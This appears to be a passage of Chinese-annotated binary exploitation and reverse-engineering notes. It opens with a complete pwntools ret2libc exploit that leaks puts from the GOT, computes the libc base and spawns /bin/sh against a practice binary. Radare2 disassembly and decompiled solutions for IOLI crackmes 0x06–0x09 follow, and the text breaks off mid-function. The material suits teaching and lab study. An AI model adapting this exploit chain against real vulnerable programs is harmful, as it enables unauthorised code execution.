[*] Stopped process './victim_nx' (pid 32682)
$ python exp.py 
[+] Starting local process './victim_nx': pid 32689
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf75b7870
[*] Stopped process './victim_nx' (pid 32689)

...[22字节][system地址(返回地址)][4字节]["/bin/sh"地址]

$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | egrep 'puts|system'
435 0x0005f870 0x0005f870   WEAK   FUNC  509 puts
1461 0x0003ab30 0x0003ab30   WEAK   FUNC   55 system
$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48

# -*- coding: utf-8 -*-
from pwn import *

# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390

# 偏移
offset_puts = 0x0005f870
offset_system = 0x0003ab30
offset_str_bin_sh = 0x15ce48

def main():
    p = process('./victim_nx')
    # stage 1
    payload = 'A' * 22
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload = payload + ropchain
    log.info('payload: {}'.format(repr(payload)))
    p.clean()
    p.sendline(payload)
    p.recvlines(1)  #先忽略掉正常输出的一行
    leak = p.recv(4)
    leak = u32(leak)
    log.info('puts is at: 0x{:x}'.format(leak))
    p.clean()

    # stage 2
    libc_base = leak - offset_puts
    log.info('libc_base is at 0x{:x}'.format(libc_base))
    payload = 'A' * 22
    ropchain = p32(libc_base + offset_system)
    ropchain += 'BBBB'
    ropchain += p32(libc_base + offset_str_bin_sh)
    payload = payload + ropchain
    p.sendline(payload)
    log.success('Shell is comming!')
    p.clean()
    p.interactive()


if __name__ == '__main__':
    main()

$ python exp.py 
[+] Starting local process './victim_nx': pid 593
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7618870
[*] libc_base is at 0xf75b9000
[+] Shell is comming!
[*] Switching to interactive mode
$ whoami
pan
$ uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
$ exit  
[*] Got EOF while reading in interactive
[*] Process './victim_nx' stopped with exit code -11 (SIGSEGV) (pid 593)
[*] Got EOF while sending in interactive

[0x08048607]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 99
|   sym.main (int arg_10h);
|           ; var int local_78h @ ebp-0x78
|           ; arg int arg_10h @ ebp+0x10
|           ; var int local_4h @ esp+0x4
|              ; DATA XREF from 0x08048417 (entry0)
|           0x08048607      55             push ebp
|           0x08048608      89e5           mov ebp, esp
|           0x0804860a      81ec88000000   sub esp, 0x88
|           0x08048610      83e4f0         and esp, 0xfffffff0
|           0x08048613      b800000000     mov eax, 0
|           0x08048618      83c00f         add eax, 0xf
|           0x0804861b      83c00f         add eax, 0xf
|           0x0804861e      c1e804         shr eax, 4
|           0x08048621      c1e004         shl eax, 4
|           0x08048624      29c4           sub esp, eax
|           0x08048626      c70424638704.  mov dword [esp], str.IOLI_Crackme_Level_0x06 ; [0x8048763:4]=0x494c4f49 ; "IOLI Crackme Level 0x06\n"
|           0x0804862d      e886fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048632      c704247c8704.  mov dword [esp], str.Password: ; [0x804877c:4]=0x73736150 ; "Password: "
|           0x08048639      e87afdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804863e      8d4588         lea eax, [local_78h]
|           0x08048641      89442404       mov dword [local_4h], eax
|           0x08048645      c70424878704.  mov dword [esp], 0x8048787  ; [0x8048787:4]=0x7325
|           0x0804864c      e847fdffff     call sym.imp.scanf          ; int scanf(const char *format)
|           0x08048651      8b4510         mov eax, dword [arg_10h]    ; [0x10:4]=-1 ; 16
|           0x08048654      89442404       mov dword [local_4h], eax
|           0x08048658      8d4588         lea eax, [local_78h]
|           0x0804865b      890424         mov dword [esp], eax
|           0x0804865e      e825ffffff     call sym.check
|           0x08048663      b800000000     mov eax, 0
|           0x08048668      c9             leave
\           0x08048669      c3             ret
:> ps @ 0x8048787
%s

void check(char *input, char *envp[]) {
    int i;
    char local_dh[2];
    int local_8h = 0;
    for(i = 0; i < strlen(input); i++) {
        local_dh[0] = input[i];
        local_dh[1] = 0;
        sscanf(local_dh, "%d", local_4h);
        local_8h += local_4h;
        if (local_8h == 0x10) {
            parell(input, envp);
        }
    }
    printf("Password Incorrect!\n");
    return;
}

[0x08048588]> pdf @ sym.parell 
/ (fcn) sym.parell 110
|   sym.parell (int arg_8h, int arg_ch);
|           ; var int local_8h_2 @ ebp-0x8
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; var int local_4h_2 @ esp+0x4
|           ; var int local_8h @ esp+0x8
|              ; CALL XREF from 0x080485ed (sym.check)
|           0x0804851a      55             push ebp
|           0x0804851b      89e5           mov ebp, esp
|           0x0804851d      83ec18         sub esp, 0x18
|           0x08048520      8d45fc         lea eax, [local_4h]
|           0x08048523      89442408       mov dword [local_8h], eax
|           0x08048527      c74424043d87.  mov dword [local_4h_2], 0x804873d ; [0x804873d:4]=0x50006425
|           0x0804852f      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x08048532      890424         mov dword [esp], eax
|           0x08048535      e88efeffff     call sym.imp.sscanf         ; int sscanf(const char *s, const char *format,   ...)
|           0x0804853a      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|           0x0804853d      89442404       mov dword [local_4h_2], eax
|           0x08048541      8b45fc         mov eax, dword [local_4h]
|           0x08048544      890424         mov dword [esp], eax
|           0x08048547      e868ffffff     call sym.dummy
|           0x0804854c      85c0           test eax, eax
|       ,=< 0x0804854e      7436           je 0x8048586
|       |   0x08048550      c745f8000000.  mov dword [local_8h_2], 0
|       |      ; JMP XREF from 0x08048584 (sym.parell)
|      .--> 0x08048557      837df809       cmp dword [local_8h_2], 9   ; [0x9:4]=-1 ; 9
|     ,===< 0x0804855b      7f29           jg 0x8048586
|     |:|   0x0804855d      8b45fc         mov eax, dword [local_4h]
|     |:|   0x08048560      83e001         and eax, 1
|     |:|   0x08048563      85c0           test eax, eax
|    ,====< 0x08048565      7518           jne 0x804857f
|    ||:|   0x08048567      c70424408704.  mov dword [esp], str.Password_OK ; [0x8048740:4]=0x73736150 ; "Password OK!\n"
|    ||:|   0x0804856e      e845feffff     call sym.imp.printf         ; int printf(const char *format)
|    ||:|   0x08048573      c70424000000.  mov dword [esp], 0
|    ||:|   0x0804857a      e869feffff     call sym.imp.exit           ; void exit(int status)
|    `----> 0x0804857f      8d45f8         lea eax, [local_8h_2]
|     |:|   0x08048582      ff00           inc dword [eax]
|     |`==< 0x08048584      ebd1           jmp 0x8048557
|     `-`-> 0x08048586      c9             leave
\           0x08048587      c3             ret

void parell(char *input, char *envp[]) {
    sscanf(input, "%d", local_4h);
    if (dummy(local_4h, envp) == 0) {
        return;
    }
    for (int i = 0; i <= 9; i++) {
        if (local_4h & 1 == 0) {
            printf("Password OK!\n");
            exit(0);
        }
    }
    return;
}

[0x08048607]> pdf @ sym.dummy
/ (fcn) sym.dummy 102
|   sym.dummy (int arg_ch);
|           ; var int local_8h_2 @ ebp-0x8
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_ch @ ebp+0xc
|              ; CALL XREF from 0x08048547 (sym.parell)
|           0x080484b4      55             push ebp
|           0x080484b5      89e5           mov ebp, esp
|           0x080484b7      83ec18         sub esp, 0x18
|           0x080484ba      c745fc000000.  mov dword [local_4h], 0
|       .-> 0x080484c1      8b45fc         mov eax, dword [local_4h]
|       :   0x080484c4      8d1485000000.  lea edx, [eax*4]
|       :   0x080484cb      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|       :   0x080484ce      833c0200       cmp dword [edx + eax], 0
|      ,==< 0x080484d2      743a           je 0x804850e
|      |:   0x080484d4      8b45fc         mov eax, dword [local_4h]
|      |:   0x080484d7      8d0c85000000.  lea ecx, [eax*4]
|      |:   0x080484de      8b550c         mov edx, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|      |:   0x080484e1      8d45fc         lea eax, [local_4h]
|      |:   0x080484e4      ff00           inc dword [eax]
|      |:   0x080484e6      c74424080300.  mov dword [esp + 8], 3
|      |:   0x080484ee      c74424043887.  mov dword [esp + 4], str.LOLO ; [0x8048738:4]=0x4f4c4f4c ; "LOLO"
|      |:   0x080484f6      8b0411         mov eax, dword [ecx + edx]
|      |:   0x080484f9      890424         mov dword [esp], eax
|      |:   0x080484fc      e8d7feffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|      |:   0x08048501      85c0           test eax, eax
|      |`=< 0x08048503      75bc           jne 0x80484c1
|      |    0x08048505      c745f8010000.  mov dword [local_8h_2], 1
|      |,=< 0x0804850c      eb07           jmp 0x8048515
|      `--> 0x0804850e      c745f8000000.  mov dword [local_8h_2], 0
|       |      ; JMP XREF from 0x0804850c (sym.dummy)
|       `-> 0x08048515      8b45f8         mov eax, dword [local_8h_2]
|           0x08048518      c9             leave
\           0x08048519      c3             ret

int dummy(char *input, char *envp[]) {
    local_4h = 0;
    while(1) {
        if (envp[local_4h] == 0) {
            return 0;
        }
        char *s = envp[local_4h];
        local_4h++;
        if (strncmp(s, "LOLO", 3) != 0) {
            continue;
        } else {
            return 1;
        }
    }
}

$ env LOL=1 ./crackme0x06
IOLI Crackme Level 0x06
Password: 886
Password OK!

[0x0804867d]> pdf @ main
/ (fcn) main 99
|   main (int arg_10h);
|           ; var int local_78h @ ebp-0x78
|           ; arg int arg_10h @ ebp+0x10
|           ; var int local_4h @ esp+0x4
|              ; DATA XREF from 0x08048417 (entry0)
|           0x0804867d      55             push ebp
|           0x0804867e      89e5           mov ebp, esp
|           0x08048680      81ec88000000   sub esp, 0x88
|           0x08048686      83e4f0         and esp, 0xfffffff0
|           0x08048689      b800000000     mov eax, 0
|           0x0804868e      83c00f         add eax, 0xf
|           0x08048691      83c00f         add eax, 0xf
|           0x08048694      c1e804         shr eax, 4
|           0x08048697      c1e004         shl eax, 4
|           0x0804869a      29c4           sub esp, eax
|           0x0804869c      c70424d98704.  mov dword [esp], str.IOLI_Crackme_Level_0x07 ; [0x80487d9:4]=0x494c4f49 ; "IOLI Crackme Level 0x07\n"
|           0x080486a3      e810fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080486a8      c70424f28704.  mov dword [esp], str.Password: ; [0x80487f2:4]=0x73736150 ; "Password: "
|           0x080486af      e804fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080486b4      8d4588         lea eax, [local_78h]
|           0x080486b7      89442404       mov dword [local_4h], eax
|           0x080486bb      c70424fd8704.  mov dword [esp], 0x80487fd  ; [0x80487fd:4]=0x7325
|           0x080486c2      e8d1fcffff     call sym.imp.scanf          ; int scanf(const char *format)
|           0x080486c7      8b4510         mov eax, dword [arg_10h]    ; [0x10:4]=-1 ; 16
|           0x080486ca      89442404       mov dword [local_4h], eax
|           0x080486ce      8d4588         lea eax, [local_78h]
|           0x080486d1      890424         mov dword [esp], eax
|           0x080486d4      e8e0feffff     call fcn.080485b9
|           0x080486d9      b800000000     mov eax, 0
|           0x080486de      c9             leave
\           0x080486df      c3             ret
[0x0804867d]> ps @ 0x80487fd
%s

[0x080485b9]> afn check fcn.080485b9

void check(char *input, char *envp[]) {
    int i,j = 0;
    while(1) {
        if (i >= strlen(input)) {
            fcn.08048524();
        }
        local_dh = input[i];
        sscanf(local_dh, "%d", &local_4h);
        j += local_4h;
        if (j == 0x10) {
            fcn.8048542(input ,envp);
        }
        i++;
        continue;
    }
}

[0x08048542]> pdf @ 0x08048524
/ (fcn) fail 30
|   fail (int arg_8h);
|           ; var int local_ch @ ebp-0xc
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_8h @ ebp+0x8
|              ; CALL XREF from 0x0804862a (check)
|           0x08048524      55             push ebp
|           0x08048525      89e5           mov ebp, esp
|           0x08048527      83ec08         sub esp, 8
|           0x0804852a      c70424ad8704.  mov dword [esp], str.Password_Incorrect ; [0x80487ad:4]=0x73736150 ; "Password Incorrect!\n"
|           0x08048531      e882feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048536      c70424000000.  mov dword [esp], 0
\           0x0804853d      e8a6feffff     call sym.imp.exit           ; void exit(int status)

[0x08048542]> pdf @ 0x8048542
/ (fcn) fcn.08048542 119
|   fcn.08048542 (int arg_8h, int arg_9h, int arg_ch);
|           ; var int local_dh @ ebp-0xd
|           ; var int local_ch @ ebp-0xc
|           ; var int local_8h @ ebp-0x8
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_9h @ ebp+0x9
|           ; arg int arg_ch @ ebp+0xc
|           ; var int local_4h_2 @ esp+0x4
|           ; var int local_8h_2 @ esp+0x8
|              ; CALL XREF from 0x0804861e (check)
|           0x08048542      55             push ebp
|           0x08048543      89e5           mov ebp, esp
|           0x08048545      83ec18         sub esp, 0x18
|           0x08048548      8d45fc         lea eax, [local_4h]
|           0x0804854b      89442408       mov dword [local_8h_2], eax
|           0x0804854f      c7442404c287.  mov dword [local_4h_2], 0x80487c2 ; [0x80487c2:4]=0x50006425
|           0x08048557      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x0804855a      890424         mov dword [esp], eax
|           0x0804855d      e866feffff     call sym.imp.sscanf         ; int sscanf(const char *s, const char *format,   ...)
|           0x08048562      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|           0x08048565      89442404       mov dword [local_4h_2], eax
|           0x08048569      8b45fc         mov eax, dword [local_4h]
|           0x0804856c      890424         mov dword [esp], eax
|           0x0804856f      e840ffffff     call fcn.080484b4
|           0x08048574      85c0           test eax, eax
|       ,=< 0x08048576      743f           je 0x80485b7
|       |   0x08048578      c745f8000000.  mov dword [local_8h], 0
|       |      ; JMP XREF from 0x080485b5 (fcn.08048542)
|      .--> 0x0804857f      837df809       cmp dword [local_8h], 9     ; [0x9:4]=-1 ; 9
|     ,===< 0x08048583      7f32           jg 0x80485b7
|     |:|   0x08048585      8b45fc         mov eax, dword [local_4h]
|     |:|   0x08048588      83e001         and eax, 1
|     |:|   0x0804858b      85c0           test eax, eax
|    ,====< 0x0804858d      7521           jne 0x80485b0
|    ||:|   0x0804858f      833d2ca00408.  cmp dword [0x804a02c], 1    ; [0x1:4]=-1 ; 1
|   ,=====< 0x08048596      750c           jne 0x80485a4
|   |||:|   0x08048598      c70424c58704.  mov dword [esp], str.Password_OK ; [0x80487c5:4]=0x73736150 ; "Password OK!\n"
|   |||:|   0x0804859f      e814feffff     call sym.imp.printf         ; int printf(const char *format)
|   `-----> 0x080485a4      c70424000000.  mov dword [esp], 0
|    ||:|   0x080485ab      e838feffff     call sym.imp.exit           ; void exit(int status)
|    `----> 0x080485b0      8d45f8         lea eax, [local_8h]
|     |:|   0x080485b3      ff00           inc dword [eax]
|     |`==< 0x080485b5      ebc8           jmp 0x804857f
|     `-`-> 0x080485b7      c9             leave
\           0x080485b8      c3             ret

[0x08048542]> afv-arg_9h
[0x08048542]> afvn arg_8h input
[0x08048542]> afvn arg_ch envp

void double_check(char *input, char *envp[])
{
    int local_4h;
    int i;
    sscanf(input, "%d", &local_4h);
    if (0 == fcn.080484b4(local_4h, envp)) {
        return;
    }
    for (i = 0; i <= 9; i++) {
        if(local_4h & 1 != 0) {
            continue;
        }
        if ((int)*0x804a02c == 1) {
            printf("Password OK!\n");
        }
        exit(0);
    }
}

:> px @ 0x804a02c
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804a02c  0000 0000 ffff ffff ffff ffff ffff ffff  ................
0x0804a03c  ffff ffff ffff ffff ffff ffff ffff ffff  ................

:> axt @ 0x804a02c 
fcn.080484b4 0x8048505 [data] mov dword [0x804a02c], 1

[0x0804851f]> pdf @ fcn.080484b4
/ (fcn) fcn.080484b4 112
|   fcn.080484b4 (int arg_ch);
|           ; var int local_8h @ ebp-0x8
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_ch @ ebp+0xc
|              ; CALL XREF from 0x0804863c (check)
|              ; CALL XREF from 0x0804856f (double_check)
|           0x080484b4      55             push ebp
|           0x080484b5      89e5           mov ebp, esp
|           0x080484b7      83ec18         sub esp, 0x18
|           0x080484ba      c745fc000000.  mov dword [local_4h], 0
|       .-> 0x080484c1      8b45fc         mov eax, dword [local_4h]
|       :   0x080484c4      8d1485000000.  lea edx, [eax*4]
|       :   0x080484cb      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|       :   0x080484ce      833c0200       cmp dword [edx + eax], 0
|      ,==< 0x080484d2      7444           je 0x8048518
|      |:   0x080484d4      8b45fc         mov eax, dword [local_4h]
|      |:   0x080484d7      8d0c85000000.  lea ecx, [eax*4]
|      |:   0x080484de      8b550c         mov edx, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|      |:   0x080484e1      8d45fc         lea eax, [local_4h]
|      |:   0x080484e4      ff00           inc dword [eax]
|      |:   0x080484e6      c74424080300.  mov dword [esp + 8], 3
|      |:   0x080484ee      c7442404a887.  mov dword [esp + 4], str.LOLO ; [0x80487a8:4]=0x4f4c4f4c ; "LOLO"
|      |:   0x080484f6      8b0411         mov eax, dword [ecx + edx]
|      |:   0x080484f9      890424         mov dword [esp], eax
|      |:   0x080484fc      e8d7feffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|      |:   0x08048501      85c0           test eax, eax
|      |`=< 0x08048503      75bc           jne 0x80484c1
|      |    0x08048505      c7052ca00408.  mov dword [0x804a02c], 1    ; [0x804a02c:4]=0
|      |    0x0804850f      c745f8010000.  mov dword [local_8h], 1
|      |,=< 0x08048516      eb07           jmp 0x804851f
|      `--> 0x08048518      c745f8000000.  mov dword [local_8h], 0
|       |      ; JMP XREF from 0x08048516 (fcn.080484b4)
|       `-> 0x0804851f      8b45f8         mov eax, dword [local_8h]
|           0x08048522      c9             leave
\           0x08048523      c3             ret

int check_env(char *input, char *envp[]) {
    int local_4h = 0;
    while(1) {
        if (0 == envp[local_4h * 4]) {
            local_8h = 0;
            break;
        }
        local_4h++;
        if (0 != strncmp(envp[local_4h * 4], "LOLO", 3))
            continue;
        *0x804a02c = 1;
        local_8h = 1;
        break;
    }
    return local_8h;
}

$ LOL= ./crackme0x07 
IOLI Crackme Level 0x07
Password: 88
Password OK!

$ LOLO=1 ./crackme0x07 
IOLI Crackme Level 0x07
Password: 196110
Password OK!

[0x08048400]> pdf @ main
            ;-- main:
/ (fcn) sym.main 99
|   sym.main (int arg_10h);
|           ; var int local_78h @ ebp-0x78
|           ; arg int arg_10h @ ebp+0x10
|           ; var int local_4h @ esp+0x4
|              ; DATA XREF from 0x08048417 (entry0)
|           0x0804867d      55             push ebp
|           0x0804867e      89e5           mov ebp, esp
|           0x08048680      81ec88000000   sub esp, 0x88
|           0x08048686      83e4f0         and esp, 0xfffffff0
|           0x08048689      b800000000     mov eax, 0
|           0x0804868e      83c00f         add eax, 0xf
|           0x08048691      83c00f         add eax, 0xf
|           0x08048694      c1e804         shr eax, 4
|           0x08048697      c1e004         shl eax, 4
|           0x0804869a      29c4           sub esp, eax
|           0x0804869c      c70424d98704.  mov dword [esp], str.IOLI_Crackme_Level_0x08 ; [0x80487d9:4]=0x494c4f49 ; "IOLI Crackme Level 0x08\n"
|           0x080486a3      e810fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080486a8      c70424f28704.  mov dword [esp], str.Password: ; [0x80487f2:4]=0x73736150 ; "Password: "
|           0x080486af      e804fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080486b4      8d4588         lea eax, [local_78h]
|           0x080486b7      89442404       mov dword [local_4h], eax
|           0x080486bb      c70424fd8704.  mov dword [esp], 0x80487fd  ; [0x80487fd:4]=0x7325
|           0x080486c2      e8d1fcffff     call sym.imp.scanf          ; int scanf(const char *format)
|           0x080486c7      8b4510         mov eax, dword [arg_10h]    ; [0x10:4]=-1 ; 16
|           0x080486ca      89442404       mov dword [local_4h], eax
|           0x080486ce      8d4588         lea eax, [local_78h]
|           0x080486d1      890424         mov dword [esp], eax
|           0x080486d4      e8e0feffff     call sym.check
|           0x080486d9      b800000000     mov eax, 0
|           0x080486de      c9             leave
\           0x080486df      c3             ret

$ radiff2 -A -C ./crackme0x07 ./crackme0x08 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
              fcn.08048360  23 0x8048360 |   MATCH  (1.000000) | 0x8048360   23 sym._init
 sym.imp.__libc_start_main   6 0x8048388 |   MATCH  (1.000000) | 0x8048388    6 sym.imp.__libc_start_main
             sym.imp.scanf   6 0x8048398 |   MATCH  (1.000000) | 0x8048398    6 sym.imp.scanf
            sym.imp.strlen   6 0x80483a8 |   MATCH  (1.000000) | 0x80483a8    6 sym.imp.strlen
            sym.imp.printf   6 0x80483b8 |   MATCH  (1.000000) | 0x80483b8    6 sym.imp.printf
            sym.imp.sscanf   6 0x80483c8 |   MATCH  (1.000000) | 0x80483c8    6 sym.imp.sscanf
           sym.imp.strncmp   6 0x80483d8 |   MATCH  (1.000000) | 0x80483d8    6 sym.imp.strncmp
              sym.imp.exit   6 0x80483e8 |   MATCH  (1.000000) | 0x80483e8    6 sym.imp.exit
                    entry0  33 0x8048400 |   MATCH  (1.000000) | 0x8048400   33 entry0
              fcn.08048424  33 0x8048424 |   MATCH  (1.000000) | 0x8048424   33 fcn.08048424
              fcn.08048450  47 0x8048450 |   MATCH  (1.000000) | 0x8048450   47 sym.__do_global_dtors_aux
              fcn.08048480  50 0x8048480 |   MATCH  (1.000000) | 0x8048480   50 sym.frame_dummy
              sub.LOLO_4b4 112 0x80484b4 |   MATCH  (1.000000) | 0x80484b4  112 sym.dummy
sub.Password_Incorrect_524  30 0x8048524 |   MATCH  (1.000000) | 0x8048524   30 sym.che
            sub.sscanf_542 119 0x8048542 |   MATCH  (1.000000) | 0x8048542  119 sym.parell
            sub.strlen_5b9 196 0x80485b9 |   MATCH  (1.000000) | 0x80485b9  196 sym.check
                      main  99 0x804867d |   MATCH  (1.000000) | 0x804867d   99 sym.main
              fcn.08048755   4 0x8048755 |   MATCH  (1.000000) | 0x8048755    4 sym.__i686.get_pc_thunk.bx
              fcn.08048760  35 0x8048760 |   MATCH  (1.000000) | 0x8048760   35 sym.__do_global_ctors_aux
              fcn.0804878d  17 0x804878d |     NEW  (0.000000)
       sym.__libc_csu_init  99 0x80486e0 |     NEW  (0.000000)
       sym.__libc_csu_fini   5 0x8048750 |     NEW  (0.000000)
                 sym._fini  26 0x8048784 |     NEW  (0.000000)

$ LOL= ./crackme0x08 
IOLI Crackme Level 0x08
Password: 88
Password OK!

$ LOLO=1 ./crackme0x08 
IOLI Crackme Level 0x08
Password: 196110
Password OK!

[0x080486ee]> pdf @ main
/ (fcn) main 120
|   main (int arg_10h);
|           ; var int local_78h @ ebp-0x78
|           ; var int local_4h_2 @ ebp-0x4
|           ; arg int arg_10h @ ebp+0x10
|           ; var int local_4h @ esp+0x4
|              ; DATA XREF from 0x08048437 (entry0)
|           0x080486ee      55             push ebp
|           0x080486ef      89e5           mov ebp, esp
|           0x080486f1      53             push ebx
|           0x080486f2      81ec84000000   sub esp, 0x84
|           0x080486f8      e869000000     call fcn.08048766
|           0x080486fd      81c3f7180000   add ebx, 0x18f7
|           0x08048703      83e4f0         and esp, 0xfffffff0
|           0x08048706      b800000000     mov eax, 0
|           0x0804870b      83c00f         add eax, 0xf
|           0x0804870e      83c00f         add eax, 0xf
|           0x08048711      c1e804         shr eax, 4
|           0x08048714      c1e004         shl eax, 4
|           0x08048717      29c4           sub esp, eax
|           0x08048719      8d8375e8ffff   lea eax, [ebx - 0x178b]
|           0x0804871f      890424         mov dword [esp], eax
|           0x08048722      e8b9fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048727      8d838ee8ffff   lea eax, [ebx - 0x1772]
|           0x0804872d      890424         mov dword [esp], eax
|           0x08048730      e8abfcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048735      8d4588         lea eax, [local_78h]
|           0x08048738      89442404       mov dword [local_4h], eax
|           0x0804873c      8d8399e8ffff   lea eax, [ebx - 0x1767]
|           0x08048742      890424         mov dword [esp], eax
|           0x08048745      e876fcffff     call sym.imp.scanf          ; int scanf(const char *format)
|           0x0804874a      8b4510         mov eax, dword [arg_10h]    ; [0x10:4]=-1 ; 16
|           0x0804874d      89442404       mov dword [local_4h], eax
|           0x08048751      8d4588         lea eax, [local_78h]
|           0x08048754      890424         mov dword [esp], eax
|           0x08048757      e8bafeffff     call sub.strlen_616         ; size_t strlen(const char *s)
|           0x0804875c      b800000000     mov eax, 0
|           0x08048761      8b5dfc         mov ebx, dword [local_4h_2]
|           0x08048764      c9             leave
\           0x08048765      c3             ret

[0x080486ee]> pdf @ fcn.08048766
/ (fcn) fcn.08048766 4
|   fcn.08048766 ();
|              ; XREFS: CALL 0x080486f8  CALL 0x0804861d  CALL 0x080484db  CALL 0x08048564  CALL 0x08048590  
|              ; XREFS: CALL 0x08048778  
|           0x08048766      8b1c24         mov ebx, dword [esp]
\           0x08048769      c3             ret

push $EIP + sizof instruction
jmp xxx

[0x080486ee]> ps @ 0x080486fd+0x18f7-0x178b
IOLI Crackme Level 0x09

[0x080486ee]> ps @ section_end..got - 0x178b
IOLI Crackme Level 0x09

void strlen_616(char *input, char *envp[]) {
    int local_ch = 0;
    int local_8h;
    char c[2];
    for(i=0; i<strlen(input); i++) {
        c[0] = input[i];
        c[1] = 0;
        sscanf(c, "%d", &local_8h);
        local_ch += local_8h;
        if (local_ch == 0x10) {
            sscanf_589(input, envp);
        }
    }
    printf_55d();
    // junk codes
}

:> pdf @ sub.printf_55d
/ (fcn) sub.printf_55d 44
|   sub.printf_55d ();
|           0x0804855d      55             push ebp
|           0x0804855e      89e5           mov ebp, esp
|           0x08048560      53             push ebx
|           0x08048561      83ec04         sub esp, 4
|           0x08048564      e8fd010000     call pic
|           0x08048569      81c38b1a0000   add ebx, 0x1a8b
|           0x0804856f      8d8349e8ffff   lea eax, [ebx - 0x17b7]
|           0x08048575      890424         mov dword [esp], eax
|           0x08048578      e863feffff     call sym.imp.printf
|           0x0804857d      c70424000000.  mov dword [esp], 0
\           0x08048584      e887feffff     call sym.imp.exit
:> ps @ section_end..got - 0x17b7
Password Incorrect!

:> pdf @ sub.sscanf_589
/ (fcn) sub.sscanf_589 141
|   sub.sscanf_589 (int arg_8h, int arg_9h, int arg_ch);
|           ; var int local_ch @ ebp-0xc
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_9h @ ebp+0x9
|           ; arg int arg_ch @ ebp+0xc
|           0x08048589      55             push ebp
|           0x0804858a      89e5           mov ebp, esp
|           0x0804858c      53             push ebx
|           0x0804858d      83ec14         sub esp, 0x14
|           0x08048590      e8d1010000     call pic
|           0x08048595      81c35f1a0000   add ebx, 0x1a5f
|           0x0804859b      8d45f8         lea eax, [local_8h]
|           0x0804859e      89442408       mov dword [esp + 8], eax
|           0x080485a2      8d835ee8ffff   lea eax, [ebx - 0x17a2]
|           0x080485a8      89442404       mov dword [esp + 4], eax
|           0x080485ac      8b4508         mov eax, dword [arg_8h]
|           0x080485af      890424         mov dword [esp], eax
|           0x080485b2      e839feffff     call sym.imp.sscanf
|           0x080485b7      8b450c         mov eax, dword [arg_ch]
|           0x080485ba      89442404       mov dword [esp + 4], eax
|           0x080485be      8b45f8         mov eax, dword [local_8h]
|           0x080485c1      890424         mov dword [esp], eax
|           0x080485c4      e80bffffff     call sub.strncmp_4d4
|           0x080485c9      85c0           test eax, eax
|       ,=< 0x080485cb      7443           je 0x8048610
|       |   0x080485cd      c745f4000000.  mov dword [local_ch], 0
|      .--> 0x080485d4      837df409       cmp dword [local_ch], 9
|     ,===< 0x080485d8      7f36           jg 0x8048610
|     |:|   0x080485da      8b45f8         mov eax, dword [local_8h]
|     |:|   0x080485dd      83e001         and eax, 1
|     |:|   0x080485e0      85c0           test eax, eax
|    ,====< 0x080485e2      7525           jne 0x8048609
|    ||:|   0x080485e4      8b83fcffffff   mov eax, dword [ebx - 4]
|    ||:|   0x080485ea      833801         cmp dword [eax], 1
|   ,=====< 0x080485ed      750e           jne 0x80485fd
|   |||:|   0x080485ef      8d8361e8ffff   lea eax, [ebx - 0x179f]
|   |||:|   0x080485f5      890424         mov dword [esp], eax
|   |||:|   0x080485f8      e8e3fdffff     call sym.imp.printf
|   `-----> 0x080485fd      c70424000000.  mov dword [esp], 0
|    ||:|   0x08048604      e807feffff     call sym.imp.exit
|    `----> 0x08048609      8d45f4         lea eax, [local_ch]
|     |:|   0x0804860c      ff00           inc dword [eax]
|     |`==< 0x0804860e      ebc4           jmp 0x80485d4
|     `-`-> 0x08048610      83c414         add esp, 0x14
|           0x08048613      5b             pop ebx
|           0x08048614      5d             pop ebp
\           0x08048615      c3             ret

void sscanf_589(char *input, char *envp[]) {
    int local_8h;
    int local_ch;
    sscanf(input, "%d", &local_8h);
    if (0 == strncmp_4d4(local_8h, envp)){
        return;
    }
